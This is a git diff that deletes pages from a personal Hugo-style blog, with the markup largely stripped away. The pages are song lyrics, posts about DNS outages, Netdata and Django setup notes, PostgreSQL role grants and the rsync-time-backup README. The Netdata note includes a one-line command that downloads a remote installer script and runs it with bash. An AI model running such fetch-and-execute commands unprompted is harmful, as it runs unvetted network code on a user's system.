    hi ra ri jio jio o -o i ka ke te si ro i ho a ge te -ha ha no hi ni na re ba -mi zu ki no ha bo ku te ku do sai -ma ta na ku te mo i i yo -si ra na ku te mo i i yo

    - -

    wo su be ni i no ka wa i i ki mi no ne -ha te na i yu me ga cha n to o wa ri ma su yo u ni -ki mi to su ki na hi to ga hya ku ne n shu shu ki ma su yo u ni

    - -

    bo ku no ga ma ga i tzu ka mi o wu su bi -ha te na i na mi ga cha n to do ma ri ma su yo u ni -ki mi to su ki na hi to ga hya ku ne n shu shu ki ma su yo u ni

    - -

    ki mi to su ki na hi to ga hya ku ne~n shu shu ki ma su yo u ni

    - -

    (中文翻譯) -你伸出雙手 向上撐開一片天空 是五月時分 -多麼希望你能過來 希望你能來到水邊 -想給你一蕊花苞  院子裡的花水木 -淡紅色可愛的花苞 -希望無盡的夢終有結果 -希望你和心愛的人百年好合 -夏天熱過了頭 連我的心情也感覺沉重了起來 -一定要擺渡的話 船一沉沒的 -一路順風 請君先行 -我的忍耐終有開花結果的一天 -希望無止盡的波浪終有風平浪靜的一天 -希望你和心愛的人百年好合 -追逐翩翩飛舞的蝴蝶 揚起白帆 -母親節時 請送給我 水木之葉 -等不及也好 不明瞭也罷 -淡紅色可愛的花苞 -希望無盡的夢終有結果 -希望你和心愛的人百年好合 -我的忍耐終有開花結果的一天 -希望無止盡的波浪終有風平浪靜的一天 -希望你和心愛的人百年好合 -希望你和心愛的人百年好合

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/mv-eagles-hotel-california/index.html b/themes/public/article/mv-eagles-hotel-california/index.html deleted file mode 100644 index 32aef339..00000000 --- a/themes/public/article/mv-eagles-hotel-california/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - [MV] Eagles Hotel California | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/mv/index.html b/themes/public/article/mv/index.html deleted file mode 100644 index 2b8242c0..00000000 --- a/themes/public/article/mv/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [MV] Davichi / T-ara / We were in love | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/net-chinese-dns-service-failed/index.html b/themes/public/article/net-chinese-dns-service-failed/index.html deleted file mode 100644 index d14b6eb7..00000000 --- a/themes/public/article/net-chinese-dns-service-failed/index.html +++ /dev/null @@ -1,425 +0,0 @@ - - - - - - - - - - 雜念-網路中文 Net-chinese 的DNS 服務有問題 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    雜念-網路中文 Net-chinese 的DNS 服務有問題

    -
    - - - 2017-07-07 - - - - - - - - -
    - - -

    昨天為了要測試Nginx Reverse Proxy 去網路中文改了dns,今天發現都過一天了還沒有更新。

    - -

    然後昨天有user反應寄給廠商的信件被退信,退信原因是 550 Sender verify failed 本來想說應該是對方email Server的問題。 -但是今天早上換成另外一家廠商的信件因為這原因被退信,一次有可能是誤會,連續兩三次,就有鬼了。

    - -

    於是開始檢查相關的設定,一開始先想到是postfix,但是我沒有更改postfix的任何設定,這兩天只有去網路中文的dns設定新增兩筆、修改一筆DNS的 A Record,而且還沒生效,懷疑是不是這邊有問題。所以一筆一筆A Record查,查了幾個都ok,正想說大概不是這邊的問題了吧。結果就發現我的MX 指定的 A Record解不出來!?改用在日本的VPS去解也是一樣,果然就是這邊出狀況了。

    - -

    於是一筆一筆檢查,發現就是昨天新增修改的紀錄,還有這筆MX Record的指向有問題,馬上跟網路中文反應,客服小姐經過一番測試之後,說會跟工程師反應,然後聯絡我,經過大概一個小時之後,就可以正常解析了,不過我還是沒接到工程師的電話來解釋原因。

    - -

    就在打這篇的同時,網路中文的客服打電話來通知正常了,但是也不知道為什麼會有這問題,我請她轉告工程師,告訴我原因,再來等看看會不會有答案好了。

    - -

    ##更新

    - -

    以下是客服來信內容

    - -
    您好:
    -工程師回應:
    -不是
    -
    -pam 因為被設定成系統字,所以設定下去後,剛好紀錄順序排在
    -nopam 下面的
    -scm
    -wm
    -都會不回應。
    -謝謝
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/net-chinese-dns-update-so-slow/index.html b/themes/public/article/net-chinese-dns-update-so-slow/index.html deleted file mode 100644 index c0ca4414..00000000 --- a/themes/public/article/net-chinese-dns-update-so-slow/index.html +++ /dev/null @@ -1,404 +0,0 @@ - - - - - - - - - - 雜念-網路中文 Net-chinese 的DNS 服務更新好慢啊! | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    雜念-網路中文 Net-chinese 的DNS 服務更新好慢啊!

    -
    - - - 2017-07-25 - - - - - - - - -
    - - -

    昨天因為要測試 Nginx Reverse Proxy的功能,所以去網路中文修改了手邊幾個不同網域的DNS

    - -

    申請時間大概是昨天早上十點多吧,結果昨天晚上看,沒有生效。今天早上一早來看,還是沒有生效,到底是要多久啊!

    - -

    SO SLOW

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/netdata-linux-system-performance-monitor-dashboard/index.html b/themes/public/article/netdata-linux-system-performance-monitor-dashboard/index.html deleted file mode 100644 index b08b327f..00000000 --- a/themes/public/article/netdata-linux-system-performance-monitor-dashboard/index.html +++ /dev/null @@ -1,515 +0,0 @@ - - - - - - - - - - Netdata Linux System Performance Monitor Dashboard | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Netdata Linux System Performance Monitor Dashboard

    -
    - - - 2018-05-29 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - - - -
    參考
    - -

    https://www.digitalocean.com/community/tutorials/how-to-set-up-real-time-performance-monitoring-with-netdata-on-ubuntu-16-04

    - -
    安裝
    - -

    最後一個要注意,要安裝 netdata-all 才會安裝有DB的plugin (網路上都這樣說..)

    - -
    curl -Ss 'https://raw.githubusercontent.com/firehol/netdata-demo-site/master/install-required-packages.sh' >/tmp/kickstart.sh && bash /tmp/kickstart.sh -i netdata-all
    -
    - -

    - -

    然後作 git clone

    - -
    git clone https://github.com/firehol/netdata.git --depth=1 ~/netdata
    -
    - -

    接著就執行netdata提供的安裝script

    - -
    sudo ./netdata-installer.sh
    -
    - -

    如果有少套件,就看缺什麼套件,裝上去就好了,或者一開始就先裝套件

    - -
    sudo apt-get install zlib1g-dev uuid-dev libmnl-dev gcc make autoconf autoconf-archive autogen automake pkg-config curl
    -
    - -

    安裝完成後,預設會在 localhost:19999 運作 ,還頗炫的

    - -

    https://i.imgur.com/bKybkDu.png

    - -
    每天自動更新
    - -
    sudo ln -s /home/minion/netdata/netdata-updater.sh /etc/cron.daily/netdata-updater.sh
    -
    - -
    啟用 python.d plugin 目錄
    - -
    sudo vim /etc/netdata/netdata.conf
    -
    - -

    找到 plugin ,取消 python.d 前面的 “#”

    - -
     [plugins]
    -     # PATH environment variable = /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    -     # PYTHONPATH environment variable =
    -     # proc = yes
    -     diskspace = yes
    -     # cgroups = yes
    -     # tc = yes
    -     # idlejitter = yes
    -     enable running new plugins = yes
    -     check for new plugins every = 60
    -     # fping = yes
    -     # charts.d = yes
    -     python.d = yes
    -     # node.d = yes
    -     # apps = yes
    -
    - -

    有很多東西可以設定,超細的…

    - -
    修改 postgres.conf 的DB 設定
    - -
    sudo vim /etc/netdata/python.d/postgres.conf
    -
    - -

    把不要的都註解掉,然後填入資料庫的設定 -https://i.imgur.com/VQwlary.png

    - -

    測試一下看能不能跑

    - -
    sudo /usr/libexec/netdata/plugins.d/python.d.plugin debug 1 postgres
    -
    - -

    正常的話,應該會看到一些這樣的訊息 -https://i.imgur.com/YMZtvdo.png

    - -

    離開

    - -

    重啟 netdata service,看看多到讓人眼花撩亂的圖表吧!

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/netjsonconfig/index.html b/themes/public/article/netjsonconfig/index.html deleted file mode 100644 index 4920ad60..00000000 --- a/themes/public/article/netjsonconfig/index.html +++ /dev/null @@ -1,466 +0,0 @@ - - - - - - - - - - Testing "django-netjsonconfig" | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Testing "django-netjsonconfig"

    -
    - - - 2018-01-14 - - - - - - - - - programming - - - - - -
    - - - - -

    A task came up in Google Code-in which asked me to install the django-netjsonconfig module by OpenWISP. Furthermore, I’m also supposed to share the challenges I faced during the set-up process as a sort of feedback. I’ll be trying be concise in this post so, without further ado, I’m beginning with this post.

    - -

    Installing “django-netjsonconfig”

    - -

    The installation instructions for this this module have been well-documented on its GitHub repository. So I began the installation by creating a Python 2.7 Virtual Environment using python2 -m virtualenv py2 for the sake of cleanliness on my local machine. I chose python2 for since for this since I was also on the lookout for bugs in the module and most of the bugs seem to be related with it since it’s a bit outdated now.
    -I then activated the virtualenv and started entering the installation commands according to the instructions in the repository. Everything went on smoothly until the python setup.py develop command. I got an error as shown in the below picture.

    - -

    develop failed

    - -

    Clearly, the error suggests that Django v2.0.1 was being downloaded which isn’t supported by Python 2.7. A bit of browsing led me to the conclusion that the setup.py needed to be modified to download older Django versions for Python 2.7. So, I added a simple if-else block to the django installation statement as shown in the picture.

    - -

    setup.py fix

    - -

    If you’re curious about my fix, this is the link.

    - -

    Here, what’s being done is basically:

    - -
      -
    • Detect python version used for installation using sys.version_info[0].
    • -
    • Install older Django versions if sys.version_info[0]<3, that is python2 is detected.
    • -
    • Install latest version if above condition isn’t satisfied, that is python3 is detected.
    • -
    - -

    I also had to remove the django installation line from requirements.txt since setup.py was fetching the requirement names from there. After applying this fix, I re-ran the python setup.py develop command and there it was! The sweet smell of success. Now an older yet python2 compatible version of Django was being installed when using python2 as clearly shown in one of the pictures below:

    - -

    Older Django being downloaded

    - -

    Successful!

    - -

    After this, I installed some more requirements using pip install -r requirements-test.txt -This was how I’d finished installing django-netjsonconfig using Python2. Now all that was left to do was to to do the migrations and run the server.

    - -

    Making Migrations and Creating a superuser

    - -

    By referring to the instructions on the repo again, I opened the tests directory, -did the migrations using ./manage.py migrate. It was really satisfying to see all the CLI responses coloured in green. :smile: -Migrate

    - -

    After that, there was the superuser creation using ./manage.py createsuperuser.

    - -

    Superuser creation

    - -

    Running the Test Server

    - -

    I started the test server using ./manage.py runserver and it was successful.

    - -

    Server Up and Running!

    - -

    I could also now visit the server at http://localhost:8000/admin.

    - -

    Logged In

    - -

    Conclusion

    - -

    So, that’s how I installed the django-netjsonconfig module. Also, I’ve commited my fixes to my forked repo here. Here’s the link to my pull request. That concludes this post.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/page/1/index.html b/themes/public/article/page/1/index.html deleted file mode 100644 index 51297c4f..00000000 --- a/themes/public/article/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/article/ \ No newline at end of file diff --git a/themes/public/article/psql-create-role-and-assign-priviledges/index.html b/themes/public/article/psql-create-role-and-assign-priviledges/index.html deleted file mode 100644 index d8756122..00000000 --- a/themes/public/article/psql-create-role-and-assign-priviledges/index.html +++ /dev/null @@ -1,463 +0,0 @@ - - - - - - - - - - psql create role and assign priviledges | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    psql create role and assign priviledges

    -
    - - - 2018-04-18 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - -

    最後有成功,所以先把過程記錄下來,再來研究該怎麼下指令。

    - -
    -

    建立一個 role 叫 dbreader

    - -
    postgres=# CREATE ROLE dbreader;
    -CREATE ROLE
    -
    - -

    讓dbreader這個 role 可以讀取 public 這個 schema 的{usage | select}

    -
    - -
    postgres=# GRANT USAGE ON SCHEMA public TO dbreader;
    -GRANT
    -postgres=# GRANT SELECT ON ALL TABLES IN SCHEMA public TO dbreader;
    -GRANT
    -
    - -
    -

    設定public schema 的default 權限 給 dbreader 這個 role

    - -
    postgres=# ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO dbreader;
    -ALTER DEFAULT PRIVILEGES
    -
    - -

    建立資料庫使用者 readuser

    - -
    postgres=# CREATE USER readuser WITH PASSWORD 'readuserpassword';
    -CREATE ROLE
    -
    - -

    將dbreader這個role 指定給 readuser

    - -
    postgres=# GRANT dbreader TO readuser;
    -GRANT ROLE
    -
    - -

    切到 neo DB

    -
    - -
    postgres=# \q
    -postgres@hqs022:~$ psql --u postgres  neo
    -psql (9.6.8)
    -Type "help" for help.
    -
    -neonexus=# GRANT SELECT ON ALL TABLES IN SCHEMA public to readuser;
    -GRANT
    -
    -neonexus=# GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO readuser;
    -GRANT
    -
    -neonexus=# GRANT ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public TO readuser;
    -GRANT
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/psql-create-role-and-assign-user-to-the-role/index.html b/themes/public/article/psql-create-role-and-assign-user-to-the-role/index.html deleted file mode 100644 index 66bf8e01..00000000 --- a/themes/public/article/psql-create-role-and-assign-user-to-the-role/index.html +++ /dev/null @@ -1,496 +0,0 @@ - - - - - - - - - - 筆記-psql create role and assign user to the role with read only permission | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    筆記-psql create role and assign user to the role with read only permission

    -
    - - - 2018-03-25 - - - - - - - - - 筆記 - - - - - - Eric Chang - -
    - - - - -

    最後有成功,所以先把過程記錄下來,再來研究該怎麼下指令。

    - -

    建立一個 role 叫 dbreader

    - -
    
    -postgres=# CREATE ROLE dbreader;
    -
    -CREATE ROLE
    -
    -
    - -

    讓dbreader這個 role 可以讀取 public 這個 schema 的{usage | select}

    - -
    
    -postgres=# GRANT USAGE ON SCHEMA public TO dbreader;
    -
    -GRANT
    -
    -postgres=# GRANT SELECT ON ALL TABLES IN SCHEMA public TO dbreader;
    -
    -GRANT
    -
    -
    - -

    設定public schema 的default 權限 給 dbreader 這個 role

    - -
    
    -postgres=# ALTER DEFAULT PRIVILEGES IN SCHEMA public GRANT SELECT ON TABLES TO dbreader;
    -
    -ALTER DEFAULT PRIVILEGES
    -
    -
    - -

    建立資料庫使用者 readuser

    - -
    
    -postgres=# CREATE USER readuser WITH PASSWORD 'readuserpassword';
    -
    -CREATE ROLE
    -
    -
    - -

    將dbreader這個role 指定給 readuser

    - -
    
    -postgres=# GRANT dbreader TO readuser;
    -
    -GRANT ROLE
    -
    -
    - -
    切到 neo DB
    - -
    
    -postgres=# \q
    -
    -postgres@hqs022:~$ psql --u postgres  neo
    -
    -psql (9.6.8)
    -
    -Type "help" for help.
    -
    -
    -
    -
    -
    -neo=# GRANT SELECT ON ALL TABLES IN SCHEMA public to readuser;
    -
    -GRANT
    -
    -
    -
    -neo=# GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO readuser;
    -
    -GRANT
    -
    -
    -
    -neo=# GRANT ALL PRIVILEGES ON ALL FUNCTIONS IN SCHEMA public TO readuser;
    -
    -GRANT
    -
    -
    -
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/ptt-e7-b0-bd-e5-90-8d-e6-aa-94-e5-af-92-e7-8b-97/index.html b/themes/public/article/ptt-e7-b0-bd-e5-90-8d-e6-aa-94-e5-af-92-e7-8b-97/index.html deleted file mode 100644 index 7a6aa918..00000000 --- a/themes/public/article/ptt-e7-b0-bd-e5-90-8d-e6-aa-94-e5-af-92-e7-8b-97/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - PTT 簽名檔-寒狗 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    PTT 簽名檔-寒狗

    -
    - - - 2016-07-12 - - - - - - - - - 其他 - - - - - -
    - - -

    有一天, -神問狗說:「狗阿~你喜歡住熱帶還是寒帶?」 -狗:「當然是熱帶囉!」 -神:「為什麼呢?」 -狗:「我的良心告訴我,當熱狗比當寒狗好。」

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/ptt-e8-a8-8e-e8-ab-96-e5-8f-b0-e7-81-a3-e5-a5-b3-e6-98-9f-e7-82-ba-e4-bb-80-e9-ba-bc-e9-83-bd-e4-b8-8d-e5-96-9c-e6-ad-a1-e9-9c-b2-e9-bb-9e-ef-bc-9f/index.html b/themes/public/article/ptt-e8-a8-8e-e8-ab-96-e5-8f-b0-e7-81-a3-e5-a5-b3-e6-98-9f-e7-82-ba-e4-bb-80-e9-ba-bc-e9-83-bd-e4-b8-8d-e5-96-9c-e6-ad-a1-e9-9c-b2-e9-bb-9e-ef-bc-9f/index.html deleted file mode 100644 index 75477123..00000000 --- a/themes/public/article/ptt-e8-a8-8e-e8-ab-96-e5-8f-b0-e7-81-a3-e5-a5-b3-e6-98-9f-e7-82-ba-e4-bb-80-e9-ba-bc-e9-83-bd-e4-b8-8d-e5-96-9c-e6-ad-a1-e9-9c-b2-e9-bb-9e-ef-bc-9f/index.html +++ /dev/null @@ -1,400 +0,0 @@ - - - - - - - - - - [PTT][討論] 台灣女星為什麼都不喜歡露點? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [PTT][討論] 台灣女星為什麼都不喜歡露點?

    -
    - - - 2013-04-10 - - - - - - - - - 其他 - - - - - -
    - - -

    電影版-[討論] 台灣女星為什麼都不喜歡露點? -其中一則推文如下! -> dqdq:不露才有機會進豪門,露點的最多進藍寶堅尼車門 -超中肯!Big Smile

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/ptt-signature/index.html b/themes/public/article/ptt-signature/index.html deleted file mode 100644 index c0076131..00000000 --- a/themes/public/article/ptt-signature/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - PTT 簽名檔-寒狗 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    PTT 簽名檔-寒狗

    -
    - - - 2016-07-12 - - - - - - - - - ptt - - - - - -
    - - -

    有一天, -神問狗說:「狗阿~你喜歡住熱帶還是寒帶?」 -狗:「當然是熱帶囉!」 -神:「為什麼呢?」 -狗:「我的良心告訴我,當熱狗比當寒狗好。」

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/ptt-why-female-doesnot-like-nuke/index.html b/themes/public/article/ptt-why-female-doesnot-like-nuke/index.html deleted file mode 100644 index 623a8de2..00000000 --- a/themes/public/article/ptt-why-female-doesnot-like-nuke/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [PTT][討論] 台灣女星為什麼都不喜歡露點? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [PTT][討論] 台灣女星為什麼都不喜歡露點?

    -
    - - - 2013-04-10 - - - - - - - - - ptt - - - - - -
    - - -

    電影版-[討論] 台灣女星為什麼都不喜歡露點? -其中一則推文如下! -> dqdq:不露才有機會進豪門,露點的最多進藍寶堅尼車門 -超中肯!Big Smile

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/rsync-time-backup/index.html b/themes/public/article/rsync-time-backup/index.html deleted file mode 100644 index 1153e2b7..00000000 --- a/themes/public/article/rsync-time-backup/index.html +++ /dev/null @@ -1,601 +0,0 @@ - - - - - - - - - - [筆記] Linux 底下好用的備份工具 rsync-time-backup | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] Linux 底下好用的備份工具 rsync-time-backup

    -
    - - - 2018-04-10 - - - - - - - - - 筆記 - - - - - -
    - - - - -

    很好用的工具,利用rsync 去作到類似MAC上的 time machine的功能 -備份後的目錄大概會是這樣子

    - -
    drwxr-xr-x 1 mini sudo 3100 Apr  9 16:14 2018-04-10-160719
    -drwxr-xr-x 1 mini sudo 3100 Apr  9 16:14 2018-04-10-160224
    -drwxr-xr-x 1 mini sudo 3100 Apr  9 16:14 2018-04-10-160054
    -drwxr-xr-x 1 mini sudo 3100 Apr  9 16:14 2018-04-10-155836
    -drwxr-xr-x 1 mini sudo 3100 Apr  9 16:14 2018-04-10-155826
    --rw-r--r-- 1 mini sudo    0 Apr 10 15:58 backup.marker
    -drwxr-xr-x 1 mini sudo  472 Apr 10 16:07 ..
    -lrwxrwxrwx 1 mini sudo   17 Apr 10 16:07 latest -> 2018-04-10-160719
    -drwxr-xr-x 1 mini sudo  208 Apr 10 16:07 .
    -2018-04-10 16:12:37 [mini@h9 ~]$ 
    -
    - -

    前面幾個目錄都可以進去看檔案內容,需要還原就直接cp 出來就好 -基本上每個目錄都只會佔用「異動」後的檔案空間

    - -
    du -sh *
    -125M	2018-04-10-155826
    -0	2018-04-10-155836
    -0	2018-04-10-160054
    -4.0K	2018-04-10-160224
    -0	2018-04-10-160719
    -0	backup.marker
    -4.0K	latest
    -
    - -

    備份的策略在readme裡面有提到

    - -

    一天之內,所有的備份都會被保留(前提是空間足夠) -一個月內,每一天的最後一份備份會被保留(或者說「最近」的一份) -超過一個月,每個月的最後一份備份會被保留(或者說「最近」的一份)

    - -
    The script automatically deletes old backups using the following logic:
    -
    - Within the last 24 hours, all the backups are kept.
    - Within the last 31 days, the most recent backup of each day is kept.
    - After 31 days, only the most recent backup of each month is kept.
    - Additionally, if the backup destination directory is full, the oldest backups are deleted until enough space is available.
    -
    - -

    original link : https://github.com/laurent22/rsync-time-backup

    - -

    README.md

    - -

    Rsync time backup

    - -

    This script offers Time Machine-style backup using rsync. It creates incremental backups of files and directories to the destination of your choice. The backups are structured in a way that makes it easy to recover any file at any point in time.

    - -

    It works on Linux, macOS and Windows (via WSL or Cygwin). The main advantage over Time Machine is the flexibility as it can backup from/to any filesystem and works on any platform. You can also backup, for example, to a Truecrypt drive without any problem.

    - -

    On macOS, it has a few disadvantages compared to Time Machine - in particular it does not auto-start when the backup drive is plugged (though it can be achieved using a launch agent), it requires some knowledge of the command line, and no specific GUI is provided to restore files. Instead files can be restored by using any file explorer, including Finder, or the command line.

    - -

    Installation

    - -

    git clone https://github.com/laurent22/rsync-time-backup

    - -

    Usage

    - -

    Usage: rsync_tmbackup.sh [OPTION]… <[USER@HOST:]SOURCE> <[USER@HOST:]DESTINATION> [exclude-pattern-file]

    - -

    Options - -p, –port SSH port. - -h, –help Display this help message. - –rsync-get-flags Display the default rsync flags that are used for backup. - –rsync-set-flags Set the rsync flags that are going to be used for backup. - –log-dir Set the log file directory. If this flag is set, generated files will - not be managed by the script - in particular they will not be - automatically deleted.

    - -

    Features

    - -
      -
    • Each backup is on its own folder named after the current timestamp. Files can be copied and restored directly, without any intermediate tool.

    • - -
    • Backup to/from remote destinations over SSH.

    • - -
    • Files that haven’t changed from one backup to the next are hard-linked to the previous backup so take very little extra space.

    • - -
    • Safety check - the backup will only happen if the destination has explicitly been marked as a backup destination.

    • - -
    • Resume feature - if a backup has failed or was interrupted, the tool will resume from there on the next backup.

    • - -
    • Exclude file - support for pattern-based exclusion via the --exclude-from rsync parameter.

    • - -
    • Automatically purge old backups - within 24 hours, all backups are kept. Within one month, the most recent backup for each day is kept. For all previous backups, the most recent of each month is kept.

    • - -
    • “latest” symlink that points to the latest successful backup.

    • -
    - -

    Examples

    - -
      -
    • Backup the home folder to backup_drive -
    • -
    - -

    rsync_tmbackup.sh /home /mnt/backup_drive

    - -
      -
    • Backup with exclusion list: -
    • -
    - -

    rsync_tmbackup.sh /home /mnt/backup_drive excluded_patterns.txt

    - -
      -
    • Backup to remote drive over SSH, on port 2222:
    • -
    - -

    rsync_tmbackup.sh -p 2222 /home user@example.com:/mnt/backup_drive

    - -
      -
    • Backup from remote drive over SSH:
    • -
    - -

    rsync_tmbackup.sh user@example.com:/home /mnt/backup_drive

    - -
      -
    • To mimic Time Machine’s behaviour, a cron script can be setup to backup at regular interval. For example, the following cron job checks if the drive “/mnt/backup” is currently connected and, if it is, starts the backup. It does this check every 1 hour.
    • -
    - -

    0 */1 * * * if [[ -d /mnt/backup ]]; then rsync_tmbackup.sh /home /mnt/backup; fi

    - -

    Backup expiration logic

    - -

    The script automatically deletes old backups using the following logic: -- Within the last 24 hours, all the backups are kept. -- Within the last 31 days, the most recent backup of each day is kept. -- After 31 days, only the most recent backup of each month is kept. -- Additionally, if the backup destination directory is full, the oldest backups are deleted until enough space is available.

    - -

    Exclude file

    - -

    An optional exclude file can be provided as a third parameter. It should be compatible with the --exclude-from parameter of rsync. See this tutorial for more information.

    - -

    Built-in lock

    - -

    The script is designed so that only one backup operation can be active for a given directory. If a new backup operation is started while another is still active (i.e. it has not finished yet), the new one will be automaticalled interrupted. Thanks to this the use of flock to run the script is not necessary.

    - -

    Rsync options

    - -

    To display the rsync options that are used for backup, run ./rsync_tmbackup.sh --rsync-get-flags. It is also possible to add or remove options using the --rsync-set-flags option. For example, to exclude backing up permissions and groups:

    - -

    rsync_tmbackup –rsync-set-flags “–numeric-ids –links –hard-links
    -–one-file-system –archive –no-perms –no-groups –itemize-changes” /src /dest

    - -

    How to restore

    - -

    The script creates a backup in a regular directory so you can simply copy the files back to the original directory. You could do that with something like rsync -aP /path/to/last/backup/ /path/to/restore/to/. Consider using the --dry-run option to check what exactly is going to be copied. Use --delete if you also want to delete files that exist in the destination but not in the backup (obviously extra care must be taken when using this option).

    - -

    Extensions

    - -
      -
    • rtb-wrapper: Allows creating backup profiles in config files. Handles both backup and restore operations.
    • -
    • time-travel: Smooth integration into OSX Notification Center
    • -
    - -

    TODO

    - -
      -
    • Check source and destination file-system (df -T /dest). If one of them is FAT, use the –modify-window rsync parameter (see man rsync) with a value of 1 or 2
    • -
    • Add --whole-file arguments on Windows? See http://superuser.com/a/905415/73619
    • -
